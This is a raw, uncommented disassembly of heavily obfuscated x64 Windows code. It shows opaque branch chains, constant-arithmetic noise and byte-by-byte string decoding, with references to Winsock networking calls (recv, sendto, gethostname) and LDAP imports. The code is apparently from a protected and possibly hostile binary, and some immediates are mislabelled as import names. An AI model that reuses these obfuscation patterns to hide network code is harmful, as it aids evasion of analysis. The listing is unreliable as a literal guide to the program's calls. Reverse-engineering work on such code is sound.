cmp rdi, rax
je 0x140129ecf
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140129fe8
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1401295c2
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x140129603
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140129ebe
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140129e9b
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140129e51
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140129e2b
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140129da0
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140129a3f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140129a2b
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140129a09
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401299f5
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401299d3
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401299bf
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14012999d
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140129989
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140129fc6
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140129fa0
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401297b1
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14012978b
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140129769
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140129972
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401298ec
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401298c6
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401298a4
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140129890
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14012986e
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14012984c
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14012982b
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x140129809
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401297f5
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401297d3
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140129610
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x140129610
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140129603
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140129591
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140129522
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140129ef0
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x140129b7e
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140129f3a
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140129d70
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x140129f5c
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140129f5f
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140129daf
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140129df5
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140129f89
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
cmp rdi, 4
jae 0x140129d4f
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x140129c49
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x140129d42
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140129ef0
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x140129a51
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x140129daf
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x140129f5f
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x140129e3a
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140129e6e
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
jmp 0x140129eaa
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x140129f18
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x140129ede
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140129aa3
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x140129d7a
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x140129b3b
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140129909
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140129ad2
movabs rdx, 0x6f8f18d239722e68
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140129f89
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140129aef
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x140129daf
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140129b1a
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x140129f5f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140129a60
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140129eaa
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140129b66
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x140129ef0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140129b95
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140129f18
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140129bc0
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140129f5c
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140129beb
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140129dc1
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140129c1a
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140129df5
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140129909
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140129f89
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140129c66
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1401298d5
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140129c83
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140129daf
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140129ca0
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x140129e3a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140129ccb
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140129e6e
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140129cf6
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x140129f3a
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140129d13
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x140129b7e
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140129940
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140129ef0
mov byte [rbp + r9 + 0x8a0], bl
jmp 0x140129f98
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x8a0]
sub bl, al
sub bl, 0x60
add bl, dl
add bl, r8b
jmp 0x140129e6e
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x8a0]
jmp 0x140129dbc
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x8a0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x8a0], cl
add rdi, r12
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140129f89
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140129f5c
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rdx, 0x96e5be0d8f9d7404
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0x1c
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8a0], cl
jmp 0x140129f5c
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140129f3a
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140129ede
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8a0], cl
add r10, r12
jmp 0x140129f3a
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
sub r9, r12
jmp 0x140129f98
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140129f98
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x8a0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14012950f
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14012950c
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x1401294fc
lea rdx, [rbp + 0x16f0fd0]
jmp 0x14012a001
lea rdx, [rbp + 0x68a334]
jmp 0x14012a001
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp - 0x20]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x2160]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14012a030
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x2160]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2160]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2160]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x5f0], 0xcb
mov byte [rbp + 0x5f1], Ordinal_143
mov byte [rbp + 0x5f2], 0xac
mov byte [rbp + 0x5f3], 0xf3
mov byte [rbp + 0x5f4], Ordinal_79
mov byte [rbp + 0x5f5], 0xf1
mov byte [rbp + 0x5f6], WSACleanup
mov byte [rbp + 0x5f7], 0xf7
mov byte [rbp + 0x5f8], 0x55
mov byte [rbp + 0x5f9], 0xf5
mov byte [rbp + 0x5fa], 0xa2
mov byte [rbp + 0x5fb], 0xfb
mov byte [rbp + 0x5fc], 0x66
mov byte [rbp + 0x5fd], 0xf9
mov byte [rbp + 0x5fe], 0x55
mov byte [rbp + 0x5ff], 0xff
mov byte [rbp + 0x600], 0x59
mov byte [rbp + 0x601], 0xfd
mov byte [rbp + 0x602], WSACleanup
mov byte [rbp + 0x603], 0xe3
mov byte [rbp + 0x604], 0x47
mov byte [rbp + 0x605], 0xe1
mov byte [rbp + 0x606], Ordinal_79
mov byte [rbp + 0x607], 0xe7
mov byte [rbp + 0x608], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x609], 0xe5
mov byte [rbp + 0x60a], 0x42
mov byte [rbp + 0x60b], 0xeb
mov byte [rbp + 0x60c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x60d], 0xe9
mov byte [rbp + 0x60e], 0x40
mov byte [rbp + 0x60f], 0xef
mov byte [rbp + 0x610], 0xb8
mov byte [rbp + 0x611], 0xed
mov byte [rbp + 0x612], 0x87
mov byte [rbp + 0x613], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x614], 0x44
mov byte [rbp + 0x615], Ordinal_211
mov byte [rbp + 0x616], 0x40
mov byte [rbp + 0x617], Ordinal_217
mov byte [rbp + 0x618], 0x81
mov byte [rbp + 0x619], Ordinal_217
mov byte [rbp + 0x61a], 0x7e
mov byte [rbp + 0x61b], 0xdb
mov byte [rbp + 0x61c], 0x7c
mov byte [rbp + 0x61d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x61e], WSACleanup
mov byte [rbp + 0x61f], 0xdf
mov byte [rbp + 0x620], Ordinal_143
mov byte [rbp + 0x621], 0xdd
mov byte [rbp + 0x622], 0x64
mov byte [rbp + 0x623], Ordinal_200
mov byte [rbp + 0x624], WSAGetLastError
mov byte [rbp + 0x625], 0xc1
mov byte [rbp + 0x626], 0x54
mov byte [rbp + 0x627], Ordinal_200
mov byte [rbp + 0x628], Ordinal_200
mov byte [rbp + 0x629], Ordinal_200
xor eax, eax
mov dword [rbp + 0x62a], eax
mov word [rbp + 0x62e], ax
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x40
jae 0x14012ae27
movzx r8d, byte [rbp + r9 + 0x5f0]
mov r11, r8
cmp rbx, r9
ja 0x14012ae1e
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14012a276
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0x32
jmp 0x14012a2b0
je 0x14012ad8e
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012ad36
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012acdf
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14012acb5
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14012ac6c
cmp r10, r9
ja 0x14012ae15
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x14012a2e2
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x14012a316
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14012ac4c
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012ac29
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012abf8
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012abda
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14012a8b9
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14012a896
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14012a882
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x14012a85f
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14012a838
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14012a815
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14012a7f2
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x14012a7de
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14012a7bb
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012a794
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14012a323
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x14012adee
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x14012adc7
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x14012a522
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x14012a4fb
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x14012a4d8
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x14012a6f8
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x14012a6e7
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x14012a698
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14012a66b
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x14012a323
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14012a657
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14012a634
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14012a611
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x14012a5ea
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14012a5c7
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14012a5b3
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x14012a590
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14012a56c
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x14012a545
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x14012a323
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 1]
jmp 0x14012a323
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x26
jmp 0x14012a316
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012a2b0
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5e
jmp 0x14012a23e
movabs rdx, 0x310883614d4884b0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012ac8c
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x14012acb0
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14012acd7
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14012a847
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x40
jmp 0x14012aba6
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012ac16
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14012ad00
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x14012ad5b
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14012a7a3
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r9 + 0x5f0], dil
jmp 0x14012adbf
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
cmp r10, 0x1000
jb 0x14012a68b
movabs rcx, 0xf00e4fc4381099b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14012ac8c
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14012a744
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r10 + rbx]
cmp rax, 6
je 0x14012abab
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14012a9be
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x40
jae 0x14012ab52
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x14012aa8f
movabs rcx, 0xe41f9575967bc6dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x14012a6b6
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012adb0
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14012ad5b
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14012abe9
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x14012ac16
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
jmp 0x14012aba6
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012ab7b
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x14012acd7
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14012a9a6
movabs rcx, 0xc1a100b078b287a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14012ac8c
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x14012a8e5
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x14012a71a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012a911
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x14012adb0
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012a92e
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x14012abe9
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012a95e
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012aba6
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012a98a
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x14012ab7b
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012a71a
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012acb0
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012a9ea
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4e
jmp 0x14012ac89
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012aa16
movabs rcx, 0xcf9135f5ad74a436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
jmp 0x14012ab7b
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012aa33
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14012a946
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012aa5f
